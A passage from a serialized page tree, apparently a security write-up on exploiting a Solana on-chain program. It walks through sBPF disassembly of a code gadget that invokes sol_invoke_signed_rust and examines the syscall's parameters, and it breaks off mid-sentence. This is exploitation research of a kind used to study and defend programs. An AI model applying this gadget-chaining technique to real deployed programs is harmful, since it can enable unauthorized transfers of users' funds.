r4",{"type":23,"tag":134,"props":43742,"children":43743},{"style":179},[43744],{"type":28,"value":43639},{"type":23,"tag":134,"props":43746,"children":43747},{"style":162},[43748],{"type":28,"value":43644},{"type":23,"tag":134,"props":43750,"children":43751},{"style":168},[43752],{"type":28,"value":1532},{"type":23,"tag":134,"props":43754,"children":43755},{"style":205},[43756],{"type":28,"value":43757},"152",{"type":23,"tag":134,"props":43759,"children":43760},{"style":179},[43761],{"type":28,"value":43658},{"type":23,"tag":134,"props":43763,"children":43764},{"style":162},[43765],{"type":28,"value":43766},"var_98",{"type":23,"tag":134,"props":43768,"children":43769},{"style":179},[43770],{"type":28,"value":1098},{"type":23,"tag":134,"props":43772,"children":43773},{"class":136,"line":332},[43774,43779,43784,43788,43793,43797,43801,43805,43810,43814,43819],{"type":23,"tag":134,"props":43775,"children":43776},{"style":162},[43777],{"type":28,"value":43778},"100001bc0",{"type":23,"tag":134,"props":43780,"children":43781},{"style":162},[43782],{"type":28,"value":43783},"  79a570ff00000000",{"type":23,"tag":134,"props":43785,"children":43786},{"style":162},[43787],{"type":28,"value":43629},{"type":23,"tag":134,"props":43789,"children":43790},{"style":162},[43791],{"type":28,"value":43792}," r5",{"type":23,"tag":134,"props":43794,"children":43795},{"style":179},[43796],{"type":28,"value":43639},{"type":23,"tag":134,"props":43798,"children":43799},{"style":162},[43800],{"type":28,"value":43644},{"type":23,"tag":134,"props":43802,"children":43803},{"style":168},[43804],{"type":28,"value":1532},{"type":23,"tag":134,"props":43806,"children":43807},{"style":205},[43808],{"type":28,"value":43809},"144",{"type":23,"tag":134,"props":43811,"children":43812},{"style":179},[43813],{"type":28,"value":43658},{"type":23,"tag":134,"props":43815,"children":43816},{"style":162},[43817],{"type":28,"value":43818},"var_90",{"type":23,"tag":134,"props":43820,"children":43821},{"style":179},[43822],{"type":28,"value":1098},{"type":23,"tag":134,"props":43824,"children":43825},{"class":136,"line":438},[43826,43831,43836,43841],{"type":23,"tag":134,"props":43827,"children":43828},{"style":162},[43829],{"type":28,"value":43830},"100001bc8",{"type":23,"tag":134,"props":43832,"children":43833},{"style":205},[43834],{"type":28,"value":43835},"  8520000020100000",{"type":23,"tag":134,"props":43837,"children":43838},{"style":162},[43839],{"type":28,"value":43840},"   call",{"type":23,"tag":134,"props":43842,"children":43843},{"style":162},[43844],{"type":28,"value":43845}," sol_invoke_signed_rust\n",{"type":23,"tag":134,"props":43847,"children":43848},{"class":136,"line":466},[43849,43854,43859,43864,43868,43872,43876,43880,43885,43889],{"type":23,"tag":134,"props":43850,"children":43851},{"style":162},[43852],{"type":28,"value":43853},"100001bd0",{"type":23,"tag":134,"props":43855,"children":43856},{"style":205},[43857],{"type":28,"value":43858},"  5500040000000000",{"type":23,"tag":134,"props":43860,"children":43861},{"style":162},[43862],{"type":28,"value":43863},"   jne",{"type":23,"tag":134,"props":43865,"children":43866},{"style":179},[43867],{"type":28,"value":8179},{"type":23,"tag":134,"props":43869,"children":43870},{"style":168},[43871],{"type":28,"value":1586},{"type":23,"tag":134,"props":43873,"children":43874},{"style":205},[43875],{"type":28,"value":17001},{"type":23,"tag":134,"props":43877,"children":43878},{"style":179},[43879],{"type":28,"value":5277},{"type":23,"tag":134,"props":43881,"children":43882},{"style":162},[43883],{"type":28,"value":43884},"r0",{"type":23,"tag":134,"props":43886,"children":43887},{"style":179},[43888],{"type":28,"value":242},{"type":23,"tag":134,"props":43890,"children":43891},{"style":205},[43892],{"type":28,"value":43893},"0x0\n",{"type":23,"tag":134,"props":43895,"children":43896},{"class":136,"line":479},[43897],{"type":23,"tag":134,"props":43898,"children":43899},{"emptyLinePlaceholder":15},[43900],{"type":28,"value":865},{"type":23,"tag":134,"props":43902,"children":43903},{"class":136,"line":497},[43904,43909,43914,43919,43924,43928],{"type":23,"tag":134,"props":43905,"children":43906},{"style":162},[43907],{"type":28,"value":43908},"100001bd8",{"type":23,"tag":134,"props":43910,"children":43911},{"style":162},[43912],{"type":28,"value":43913},"  b701000018000000",{"type":23,"tag":134,"props":43915,"children":43916},{"style":162},[43917],{"type":28,"value":43918},"   mov",{"type":23,"tag":134,"props":43920,"children":43921},{"style":162},[43922],{"type":28,"value":43923}," r1",{"type":23,"tag":134,"props":43925,"children":43926},{"style":179},[43927],{"type":28,"value":242},{"type":23,"tag":134,"props":43929,"children":43930},{"style":205},[43931],{"type":28,"value":43932},"0x18\n",{"type":23,"tag":134,"props":43934,"children":43935},{"class":136,"line":518},[43936,43941,43946,43950,43954,43958,43962,43966,43971,43975,43980],{"type":23,"tag":134,"props":43937,"children":43938},{"style":162},[43939],{"type":28,"value":43940},"100001be0",{"type":23,"tag":134,"props":43942,"children":43943},{"style":162},[43944],{"type":28,"value":43945},"  79a288ff00000000",{"type":23,"tag":134,"props":43947,"children":43948},{"style":162},[43949],{"type":28,"value":43629},{"type":23,"tag":134,"props":43951,"children":43952},{"style":162},[43953],{"type":28,"value":43634},{"type":23,"tag":134,"props":43955,"children":43956},{"style":179},[43957],{"type":28,"value":43639},{"type":23,"tag":134,"props":43959,"children":43960},{"style":162},[43961],{"type":28,"value":43644},{"type":23,"tag":134,"props":43963,"children":43964},{"style":168},[43965],{"type":28,"value":1532},{"type":23,"tag":134,"props":43967,"children":43968},{"style":205},[43969],{"type":28,"value":43970},"120",{"type":23,"tag":134,"props":43972,"children":43973},{"style":179},[43974],{"type":28,"value":43658},{"type":23,"tag":134,"props":43976,"children":43977},{"style":162},[43978],{"type":28,"value":43979},"var_78",{"type":23,"tag":134,"props":43981,"children":43982},{"style":179},[43983],{"type":28,"value":1098},{"type":23,"tag":134,"props":43985,"children":43986},{"class":136,"line":527},[43987,43992,43997,44002,44006,44011,44015,44019,44023,44028,44033,44038],{"type":23,"tag":134,"props":43988,"children":43989},{"style":162},[43990],{"type":28,"value":43991},"100001be8",{"type":23,"tag":134,"props":43993,"children":43994},{"style":205},[43995],{"type":28,"value":43996},"  6312000000000000",{"type":23,"tag":134,"props":43998,"children":43999},{"style":162},[44000],{"type":28,"value":44001},"   stxw",{"type":23,"tag":134,"props":44003,"children":44004},{"style":179},[44005],{"type":28,"value":22511},{"type":23,"tag":134,"props":44007,"children":44008},{"style":162},[44009],{"type":28,"value":44010},"r2",{"type":23,"tag":134,"props":44012,"children":44013},{"style":168},[44014],{"type":28,"value":1532},{"type":23,"tag":134,"props":44016,"children":44017},{"style":205},[44018],{"type":28,"value":1224},{"type":23,"tag":134,"props":44020,"children":44021},{"style":179},[44022],{"type":28,"value":22539},{"type":23,"tag":134,"props":44024,"children":44025},{"style":162},[44026],{"type":28,"value":44027},"r1",{"type":23,"tag":134,"props":44029,"children":44030},{"style":179},[44031],{"type":28,"value":44032},"  {",{"type":23,"tag":134,"props":44034,"children":44035},{"style":205},[44036],{"type":28,"value":44037},"0x18",{"type":23,"tag":134,"props":44039,"children":44040},{"style":179},[44041],{"type":28,"value":1098},{"type":23,"tag":134,"props":44043,"children":44044},{"class":136,"line":780},[44045,44050,44055,44060,44064,44068,44072],{"type":23,"tag":134,"props":44046,"children":44047},{"style":162},[44048],{"type":28,"value":44049},"100001bf0",{"type":23,"tag":134,"props":44051,"children":44052},{"style":205},[44053],{"type":28,"value":44054},"  0500030000000000",{"type":23,"tag":134,"props":44056,"children":44057},{"style":162},[44058],{"type":28,"value":44059},"   ja",{"type":23,"tag":134,"props":44061,"children":44062},{"style":179},[44063],{"type":28,"value":8179},{"type":23,"tag":134,"props":44065,"children":44066},{"style":168},[44067],{"type":28,"value":1586},{"type":23,"tag":134,"props":44069,"children":44070},{"style":205},[44071],{"type":28,"value":16768},{"type":23,"tag":134,"props":44073,"children":44074},{"style":179},[44075],{"type":28,"value":5449},{"type":23,"tag":134,"props":44077,"children":44078},{"class":136,"line":797},[44079],{"type":23,"tag":134,"props":44080,"children":44081},{"emptyLinePlaceholder":15},[44082],{"type":28,"value":865},{"type":23,"tag":134,"props":44084,"children":44085},{"class":136,"line":814},[44086,44091,44096,44100,44104,44108,44112,44116,44120,44124,44128],{"type":23,"tag":134,"props":44087,"children":44088},{"style":162},[44089],{"type":28,"value":44090},"100001bf8",{"type":23,"tag":134,"props":44092,"children":44093},{"style":162},[44094],{"type":28,"value":44095},"  79a188ff00000000",{"type":23,"tag":134,"props":44097,"children":44098},{"style":162},[44099],{"type":28,"value":43629},{"type":23,"tag":134,"props":44101,"children":44102},{"style":162},[44103],{"type":28,"value":43923},{"type":23,"tag":134,"props":44105,"children":44106},{"style":179},[44107],{"type":28,"value":43639},{"type":23,"tag":134,"props":44109,"children":44110},{"style":162},[44111],{"type":28,"value":43644},{"type":23,"tag":134,"props":44113,"children":44114},{"style":168},[44115],{"type":28,"value":1532},{"type":23,"tag":134,"props":44117,"children":44118},{"style":205},[44119],{"type":28,"value":43970},{"type":23,"tag":134,"props":44121,"children":44122},{"style":179},[44123],{"type":28,"value":43658},{"type":23,"tag":134,"props":44125,"children":44126},{"style":162},[44127],{"type":28,"value":43979},{"type":23,"tag":134,"props":44129,"children":44130},{"style":179},[44131],{"type":28,"value":1098},{"type":23,"tag":134,"props":44133,"children":44134},{"class":136,"line":827},[44135,44140,44145,44149,44153,44157],{"type":23,"tag":134,"props":44136,"children":44137},{"style":162},[44138],{"type":28,"value":44139},"100001c00",{"type":23,"tag":134,"props":44141,"children":44142},{"style":162},[44143],{"type":28,"value":44144},"  bf02000000000000",{"type":23,"tag":134,"props":44146,"children":44147},{"style":162},[44148],{"type":28,"value":43918},{"type":23,"tag":134,"props":44150,"children":44151},{"style":162},[44152],{"type":28,"value":43634},{"type":23,"tag":134,"props":44154,"children":44155},{"style":179},[44156],{"type":28,"value":242},{"type":23,"tag":134,"props":44158,"children":44159},{"style":162},[44160],{"type":28,"value":44161},"r0\n",{"type":23,"tag":134,"props":44163,"children":44164},{"class":136,"line":836},[44165,44170,44175,44179,44184,44188,44193,44197,44201,44206,44210,44214,44219,44224,44228,44232],{"type":23,"tag":134,"props":44166,"children":44167},{"style":162},[44168],{"type":28,"value":44169},"100001c08",{"type":23,"tag":134,"props":44171,"children":44172},{"style":205},[44173],{"type":28,"value":44174},"  8510000075000000",{"type":23,"tag":134,"props":44176,"children":44177},{"style":162},[44178],{"type":28,"value":43840},{"type":23,"tag":134,"props":44180,"children":44181},{"style":597},[44182],{"type":28,"value":44183}," _ZN94_",{"type":23,"tag":134,"props":44185,"children":44186},{"style":168},[44187],{"type":28,"value":9753},{"type":23,"tag":134,"props":44189,"children":44190},{"style":597},[44191],{"type":28,"value":44192},"LT",{"type":23,"tag":134,"props":44194,"children":44195},{"style":168},[44196],{"type":28,"value":9753},{"type":23,"tag":134,"props":44198,"children":44199},{"style":162},[44200],{"type":28,"value":13121},{"type":23,"tag":134,"props":44202,"children":44203},{"style":168},[44204],{"type":28,"value":44205},"...$",{"type":23,"tag":134,"props":44207,"children":44208},{"style":162},[44209],{"type":28,"value":7501},{"type":23,"tag":134,"props":44211,"children":44212},{"style":168},[44213],{"type":28,"value":9753},{"type":23,"tag":134,"props":44215,"children":44216},{"style":597},[44217],{"type":28,"value":44218},"GT",{"type":23,"tag":134,"props":44220,"children":44221},{"style":168},[44222],{"type":28,"value":44223},"$$",{"type":23,"tag":134,"props":44225,"children":44226},{"style":597},[44227],{"type":28,"value":44218},{"type":23,"tag":134,"props":44229,"children":44230},{"style":168},[44231],{"type":28,"value":9753},{"type":23,"tag":134,"props":44233,"children":44234},{"style":179},[44235],{"type":28,"value":44236},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":134,"props":44238,"children":44239},{"class":136,"line":859},[44240],{"type":23,"tag":134,"props":44241,"children":44242},{"emptyLinePlaceholder":15},[44243],{"type":28,"value":865},{"type":23,"tag":134,"props":44245,"children":44246},{"class":136,"line":868},[44247,44252,44257,44261,44265,44269,44273,44277,44282,44286,44291],{"type":23,"tag":134,"props":44248,"children":44249},{"style":162},[44250],{"type":28,"value":44251},"100001c10",{"type":23,"tag":134,"props":44253,"children":44254},{"style":162},[44255],{"type":28,"value":44256},"  79a2b8ff00000000",{"type":23,"tag":134,"props":44258,"children":44259},{"style":162},[44260],{"type":28,"value":43629},{"type":23,"tag":134,"props":44262,"children":44263},{"style":162},[44264],{"type":28,"value":43634},{"type":23,"tag":134,"props":44266,"children":44267},{"style":179},[44268],{"type":28,"value":43639},{"type":23,"tag":134,"props":44270,"children":44271},{"style":162},[44272],{"type":28,"value":43644},{"type":23,"tag":134,"props":44274,"children":44275},{"style":168},[44276],{"type":28,"value":1532},{"type":23,"tag":134,"props":44278,"children":44279},{"style":205},[44280],{"type":28,"value":44281},"72",{"type":23,"tag":134,"props":44283,"children":44284},{"style":179},[44285],{"type":28,"value":43658},{"type":23,"tag":134,"props":44287,"children":44288},{"style":162},[44289],{"type":28,"value":44290},"var_48",{"type":23,"tag":134,"props":44292,"children":44293},{"style":179},[44294],{"type":28,"value":1098},{"type":23,"tag":134,"props":44296,"children":44297},{"class":136,"line":877},[44298,44303,44308,44313,44317,44321,44325,44329,44333,44337],{"type":23,"tag":134,"props":44299,"children":44300},{"style":162},[44301],{"type":28,"value":44302},"100001c18",{"type":23,"tag":134,"props":44304,"children":44305},{"style":205},[44306],{"type":28,"value":44307},"  1502040000000000",{"type":23,"tag":134,"props":44309,"children":44310},{"style":162},[44311],{"type":28,"value":44312},"   jeq",{"type":23,"tag":134,"props":44314,"children":44315},{"style":179},[44316],{"type":28,"value":8179},{"type":23,"tag":134,"props":44318,"children":44319},{"style":168},[44320],{"type":28,"value":1586},{"type":23,"tag":134,"props":44322,"children":44323},{"style":205},[44324],{"type":28,"value":17001},{"type":23,"tag":134,"props":44326,"children":44327},{"style":179},[44328],{"type":28,"value":5277},{"type":23,"tag":134,"props":44330,"children":44331},{"style":162},[44332],{"type":28,"value":44010},{"type":23,"tag":134,"props":44334,"children":44335},{"style":179},[44336],{"type":28,"value":242},{"type":23,"tag":134,"props":44338,"children":44339},{"style":205},[44340],{"type":28,"value":43893},{"type":23,"tag":134,"props":44342,"children":44343},{"class":136,"line":946},[44344],{"type":23,"tag":134,"props":44345,"children":44346},{"emptyLinePlaceholder":15},[44347],{"type":28,"value":865},{"type":23,"tag":134,"props":44349,"children":44350},{"class":136,"line":954},[44351,44356,44361,44366,44370,44374],{"type":23,"tag":134,"props":44352,"children":44353},{"style":162},[44354],{"type":28,"value":44355},"100001c20",{"type":23,"tag":134,"props":44357,"children":44358},{"style":205},[44359],{"type":28,"value":44360},"  2702000022000000",{"type":23,"tag":134,"props":44362,"children":44363},{"style":162},[44364],{"type":28,"value":44365},"   mul",{"type":23,"tag":134,"props":44367,"children":44368},{"style":162},[44369],{"type":28,"value":43634},{"type":23,"tag":134,"props":44371,"children":44372},{"style":179},[44373],{"type":28,"value":242},{"type":23,"tag":134,"props":44375,"children":44376},{"style":205},[44377],{"type":28,"value":44378},"0x22\n",{"type":23,"tag":134,"props":44380,"children":44381},{"class":136,"line":984},[44382,44387,44392,44396,44400,44404,44408,44412,44417,44421,44426],{"type":23,"tag":134,"props":44383,"children":44384},{"style":162},[44385],{"type":28,"value":44386},"100001c28",{"type":23,"tag":134,"props":44388,"children":44389},{"style":162},[44390],{"type":28,"value":44391},"  79a1b0ff00000000",{"type":23,"tag":134,"props":44393,"children":44394},{"style":162},[44395],{"type":28,"value":43629},{"type":23,"tag":134,"props":44397,"children":44398},{"style":162},[44399],{"type":28,"value":43923},{"type":23,"tag":134,"props":44401,"children":44402},{"style":179},[44403],{"type":28,"value":43639},{"type":23,"tag":134,"props":44405,"children":44406},{"style":162},[44407],{"type":28,"value":43644},{"type":23,"tag":134,"props":44409,"children":44410},{"style":168},[44411],{"type":28,"value":1532},{"type":23,"tag":134,"props":44413,"children":44414},{"style":205},[44415],{"type":28,"value":44416},"80",{"type":23,"tag":134,"props":44418,"children":44419},{"style":179},[44420],{"type":28,"value":43658},{"type":23,"tag":134,"props":44422,"children":44423},{"style":162},[44424],{"type":28,"value":44425},"var_50",{"type":23,"tag":134,"props":44427,"children":44428},{"style":179},[44429],{"type":28,"value":1098},{"type":23,"tag":134,"props":44431,"children":44432},{"class":136,"line":992},[44433,44438,44443,44447,44451,44455],{"type":23,"tag":134,"props":44434,"children":44435},{"style":162},[44436],{"type":28,"value":44437},"100001c30",{"type":23,"tag":134,"props":44439,"children":44440},{"style":162},[44441],{"type":28,"value":44442},"  b703000001000000",{"type":23,"tag":134,"props":44444,"children":44445},{"style":162},[44446],{"type":28,"value":43918},{"type":23,"tag":134,"props":44448,"children":44449},{"style":162},[44450],{"type":28,"value":43689},{"type":23,"tag":134,"props":44452,"children":44453},{"style":179},[44454],{"type":28,"value":242},{"type":23,"tag":134,"props":44456,"children":44457},{"style":205},[44458],{"type":28,"value":44459},"0x1\n",{"type":23,"tag":134,"props":44461,"children":44462},{"class":136,"line":1024},[44463,44468,44473,44477],{"type":23,"tag":134,"props":44464,"children":44465},{"style":162},[44466],{"type":28,"value":44467},"100001c38",{"type":23,"tag":134,"props":44469,"children":44470},{"style":162},[44471],{"type":28,"value":44472},"  8510000003feffff",{"type":23,"tag":134,"props":44474,"children":44475},{"style":162},[44476],{"type":28,"value":43840},{"type":23,"tag":134,"props":44478,"children":44479},{"style":162},[44480],{"type":28,"value":44481}," __rust_dealloc\n",{"type":23,"tag":134,"props":44483,"children":44484},{"class":136,"line":1032},[44485],{"type":23,"tag":134,"props":44486,"children":44487},{"emptyLinePlaceholder":15},[44488],{"type":28,"value":865},{"type":23,"tag":134,"props":44490,"children":44491},{"class":136,"line":1092},[44492,44497,44502,44506,44510,44514,44518,44522,44527,44531,44536],{"type":23,"tag":134,"props":44493,"children":44494},{"style":162},[44495],{"type":28,"value":44496},"100001c40",{"type":23,"tag":134,"props":44498,"children":44499},{"style":162},[44500],{"type":28,"value":44501},"  79a2d0ff00000000",{"type":23,"tag":134,"props":44503,"children":44504},{"style":162},[44505],{"type":28,"value":43629},{"type":23,"tag":134,"props":44507,"children":44508},{"style":162},[44509],{"type":28,"value":43634},{"type":23,"tag":134,"props":44511,"children":44512},{"style":179},[44513],{"type":28,"value":43639},{"type":23,"tag":134,"props":44515,"children":44516},{"style":162},[44517],{"type":28,"value":43644},{"type":23,"tag":134,"props":44519,"children":44520},{"style":168},[44521],{"type":28,"value":1532},{"type":23,"tag":134,"props":44523,"children":44524},{"style":205},[44525],{"type":28,"value":44526},"48",{"type":23,"tag":134,"props":44528,"children":44529},{"style":179},[44530],{"type":28,"value":43658},{"type":23,"tag":134,"props":44532,"children":44533},{"style":162},[44534],{"type":28,"value":44535},"var_30",{"type":23,"tag":134,"props":44537,"children":44538},{"style":179},[44539],{"type":28,"value":1098},{"type":23,"tag":134,"props":44541,"children":44542},{"class":136,"line":8508},[44543,44548,44553,44557,44561,44565,44569,44573,44577,44581],{"type":23,"tag":134,"props":44544,"children":44545},{"style":162},[44546],{"type":28,"value":44547},"100001c48",{"type":23,"tag":134,"props":44549,"children":44550},{"style":205},[44551],{"type":28,"value":44552},"  1502030000000000",{"type":23,"tag":134,"props":44554,"children":44555},{"style":162},[44556],{"type":28,"value":44312},{"type":23,"tag":134,"props":44558,"children":44559},{"style":179},[44560],{"type":28,"value":8179},{"type":23,"tag":134,"props":44562,"children":44563},{"style":168},[44564],{"type":28,"value":1586},{"type":23,"tag":134,"props":44566,"children":44567},{"style":205},[44568],{"type":28,"value":16768},{"type":23,"tag":134,"props":44570,"children":44571},{"style":179},[44572],{"type":28,"value":5277},{"type":23,"tag":134,"props":44574,"children":44575},{"style":162},[44576],{"type":28,"value":44010},{"type":23,"tag":134,"props":44578,"children":44579},{"style":179},[44580],{"type":28,"value":242},{"type":23,"tag":134,"props":44582,"children":44583},{"style":205},[44584],{"type":28,"value":43893},{"type":23,"tag":134,"props":44586,"children":44587},{"class":136,"line":8526},[44588],{"type":23,"tag":134,"props":44589,"children":44590},{"emptyLinePlaceholder":15},[44591],{"type":28,"value":865},{"type":23,"tag":134,"props":44593,"children":44594},{"class":136,"line":8571},[44595,44600,44605,44609,44613,44617,44621,44625,44630,44634,44639],{"type":23,"tag":134,"props":44596,"children":44597},{"style":162},[44598],{"type":28,"value":44599},"100001c50",{"type":23,"tag":134,"props":44601,"children":44602},{"style":162},[44603],{"type":28,"value":44604},"  79a1c8ff00000000",{"type":23,"tag":134,"props":44606,"children":44607},{"style":162},[44608],{"type":28,"value":43629},{"type":23,"tag":134,"props":44610,"children":44611},{"style":162},[44612],{"type":28,"value":43923},{"type":23,"tag":134,"props":44614,"children":44615},{"style":179},[44616],{"type":28,"value":43639},{"type":23,"tag":134,"props":44618,"children":44619},{"style":162},[44620],{"type":28,"value":43644},{"type":23,"tag":134,"props":44622,"children":44623},{"style":168},[44624],{"type":28,"value":1532},{"type":23,"tag":134,"props":44626,"children":44627},{"style":205},[44628],{"type":28,"value":44629},"56",{"type":23,"tag":134,"props":44631,"children":44632},{"style":179},[44633],{"type":28,"value":43658},{"type":23,"tag":134,"props":44635,"children":44636},{"style":162},[44637],{"type":28,"value":44638},"var_38",{"type":23,"tag":134,"props":44640,"children":44641},{"style":179},[44642],{"type":28,"value":1098},{"type":23,"tag":134,"props":44644,"children":44645},{"class":136,"line":8677},[44646,44651,44655,44659,44663,44667],{"type":23,"tag":134,"props":44647,"children":44648},{"style":162},[44649],{"type":28,"value":44650},"100001c58",{"type":23,"tag":134,"props":44652,"children":44653},{"style":162},[44654],{"type":28,"value":44442},{"type":23,"tag":134,"props":44656,"children":44657},{"style":162},[44658],{"type":28,"value":43918},{"type":23,"tag":134,"props":44660,"children":44661},{"style":162},[44662],{"type":28,"value":43689},{"type":23,"tag":134,"props":44664,"children":44665},{"style":179},[44666],{"type":28,"value":242},{"type":23,"tag":134,"props":44668,"children":44669},{"style":205},[44670],{"type":28,"value":44459},{"type":23,"tag":134,"props":44672,"children":44673},{"class":136,"line":22988},[44674,44679,44684,44688],{"type":23,"tag":134,"props":44675,"children":44676},{"style":162},[44677],{"type":28,"value":44678},"100001c60",{"type":23,"tag":134,"props":44680,"children":44681},{"style":162},[44682],{"type":28,"value":44683},"  85100000fefdffff",{"type":23,"tag":134,"props":44685,"children":44686},{"style":162},[44687],{"type":28,"value":43840},{"type":23,"tag":134,"props":44689,"children":44690},{"style":162},[44691],{"type":28,"value":44481},{"type":23,"tag":134,"props":44693,"children":44694},{"class":136,"line":23023},[44695],{"type":23,"tag":134,"props":44696,"children":44697},{"emptyLinePlaceholder":15},[44698],{"type":28,"value":865},{"type":23,"tag":134,"props":44700,"children":44701},{"class":136,"line":23031},[44702,44707,44712,44717,44722,44727],{"type":23,"tag":134,"props":44703,"children":44704},{"style":162},[44705],{"type":28,"value":44706},"100001c68",{"type":23,"tag":134,"props":44708,"children":44709},{"style":205},[44710],{"type":28,"value":44711},"  9500000000000000",{"type":23,"tag":134,"props":44713,"children":44714},{"style":162},[44715],{"type":28,"value":44716},"   exit",{"type":23,"tag":134,"props":44718,"children":44719},{"style":179},[44720],{"type":28,"value":44721}," {",{"type":23,"tag":134,"props":44723,"children":44724},{"style":162},[44725],{"type":28,"value":44726},"__return_addr",{"type":23,"tag":134,"props":44728,"children":44729},{"style":179},[44730],{"type":28,"value":1098},{"type":23,"tag":24,"props":44732,"children":44733},{},[44734,44736,44742],{"type":28,"value":44735},"Which, assuming that ",{"type":23,"tag":92,"props":44737,"children":44739},{"className":44738},[],[44740],{"type":28,"value":44741},"sol_invoke_signed_rust",{"type":28,"value":44743}," returns 0, is doing the following:",{"type":23,"tag":4890,"props":44745,"children":44746},{},[44747,44756,44765],{"type":23,"tag":4894,"props":44748,"children":44749},{},[44750],{"type":23,"tag":92,"props":44751,"children":44753},{"className":44752},[],[44754],{"type":28,"value":44755},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":4894,"props":44757,"children":44758},{},[44759],{"type":23,"tag":92,"props":44760,"children":44762},{"className":44761},[],[44763],{"type":28,"value":44764},"*[r10-120] = 0x18",{"type":23,"tag":4894,"props":44766,"children":44767},{},[44768,44770,44776,44778,44785],{"type":28,"value":44769},"Calls ",{"type":23,"tag":92,"props":44771,"children":44773},{"className":44772},[],[44774],{"type":28,"value":44775},"__rust_dealloc",{"type":28,"value":44777},", which in default circumstances is a ",{"type":23,"tag":31,"props":44779,"children":44782},{"href":44780,"rel":44781},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[35],[44783],{"type":28,"value":44784},"NOP",{"type":28,"value":720},{"type":23,"tag":24,"props":44787,"children":44788},{},[44789],{"type":28,"value":44790},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":24,"props":44792,"children":44793},{},[44794],{"type":28,"value":44795},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":24,"props":44797,"children":44798},{},[44799,44801,44808],{"type":28,"value":44800},"Looking at the ",{"type":23,"tag":31,"props":44802,"children":44805},{"href":44803,"rel":44804},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[35],[44806],{"type":28,"value":44807},"definition",{"type":28,"value":44809},", it's not crystal clear what the parameters are:",{"type":23,"tag":87,"props":44811,"children":44813},{"className":128,"code":44812,"language":127,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[44814],{"type":23,"tag":92,"props":44815,"children":44816},{"__ignoreMap":7},[44817],{"type":23,"tag":134,"props":44818,"children":44819},{"class":136,"line":137},[44820,44824,44829,44833,44838,44842,44846,44850,44854,44858,44863,44867,44871,44875,44879,44883,44888,44892,44896,44900,44905,44909,44913,44917,44921,44925,44930,44934,44938,44942,44946],{"type":23,"tag":134,"props":44821,"children":44822},{"style":151},[44823],{"type":28,"value":19744},{"type":23,"tag":134,"props":44825,"children":44826},{"style":264},[44827],{"type":28,"value":44828}," sol_invoke_signed_rust",{"type":23,"tag":134,"props":44830,"children":44831},{"style":179},[44832],{"type":28,"value":272},{"type":23,"tag":134,"props":44834,"children":44835},{"style":162},[44836],{"type":28,"value":44837},"instruction_addr",{"type":23,"tag":134,"props":44839,"children":44840},{"style":168},[44841],{"type":28,"value":1697},{"type":23,"tag":134,"props":44843,"children":44844},{"style":168},[44845],{"type":28,"value":9281},{"type":23,"tag":134,"props":44847,"children":44848},{"style":151},[44849],{"type":28,"value":9119},{"type":23,"tag":134,"props":44851,"children":44852},{"style":597},[44853],{"type":28,"value":14102},{"type":23,"tag":134,"props":44855,"children":44856},{"style":179},[44857],{"type":28,"value":242},{"type":23,"tag":134,"props":44859,"children":44860},{"style":162},[44861],{"type":28,"value":44862},"account_infos_addr",{"type":23,"tag":134,"props":44864,"children":44865},{"style":168},[44866],{"type":28,"value":1697},{"type":23,"tag":134,"props":44868,"children":44869},{"style":168},[44870],{"type":28,"value":9281},{"type":23,"tag":134,"props":44872,"children":44873},{"style":151},[44874],{"type":28,"value":9119},{"type":23,"tag":134,"props":44876,"children":44877},{"style":597},[44878],{"type":28,"value":14102},{"type":23,"tag":134,"props":44880,"children":44881},{"style":179},[44882],{"type":28,"value":242},{"type":23,"tag":134,"props":44884,"children":44885},{"style":162},[44886],{"type":28,"value":44887},"account_infos_len",{"type":23,"tag":134,"props":44889,"children":44890},{"style":168},[44891],{"type":28,"value":1697},{"type":23,"tag":134,"props":44893,"children":44894},{"style":597},[44895],{"type":28,"value":5316},{"type":23,"tag":134,"props":44897,"children":44898},{"style":179},[44899],{"type":28,"value":242},{"type":23,"tag":134,"props":44901,"children":44902},{"style":162},[44903],{"type":28,"value":44904},"signers_seeds_addr",{"type":23,"tag":134,"props":44906,"children":44907},{"style":168},[44908],{"type":28,"value":1697},{"type":23,"tag":134,"props":44910,"children":44911},{"style":168},[44912],{"type":28,"value":9281},{"type":23,"tag":134,"props":44914,"children":44915},{"style":151},[44916],{"type":28,"value":9119},{"type":23,"tag":134,"props":44918,"children":44919},{"style":597},[44920],{"type":28,"value":14102},{"type":23,"tag":134,"props":44922,"children":44923},{"style":179},[44924],{"type":28,"value":242},{"type":23,"tag":134,"props":44926,"children":44927},{"style":162},[44928],{"type":28,"value":44929},"signers_seeds_len",{"type":23,"tag":134,"props":44931,"children":44932},{"style":168},[44933],{"type":28,"value":1697},{"type":23,"tag":134,"props":44935,"children":44936},{"style":597},[44937],{"type":28,"value":5316},{"type":23,"tag":134,"props":44939,"children":44940},{"style":179},[44941],{"type":28,"value":252},{"type":23,"tag":134,"props":44943,"children":44944},{"style":168},[44945],{"type":28,"value":13225},{"type":23,"tag":134,"props":44947,"children":44948},{"style":597},[44949],{"type":28,"value":12664},{"type":23,"tag":24,"props":44951,"children":44952},{},[44953,44955,44960,44962,44969],{"type":28,"value":44954},"The source of ",{"type":23,"tag":31,"props":44956,"children":44958},{"href":44957},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[44959],{"type":28,"value":43570},{"type":28,"value":44961}," helps a lot, but looking at the actual ",{"type":23,"tag":31,"props":44963,"children":44966},{"href":44964,"rel":44965},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[35],[44967],{"type":28,"value":44968},"implementation",{"type":28,"value":44970}," provides more clarity:",{"type":23,"tag":16158,"props":44972,"children":44973},{},[44974],{"type":23,"tag":4894,"props":44975,"children":44976},{},[44977,44982,44984,44991],{"type":23,"tag":92,"props":44978,"children":44980},{"className":44979},[],[44981],{"type":28,"value":44837},{"type":28,"value":44983}," points to a 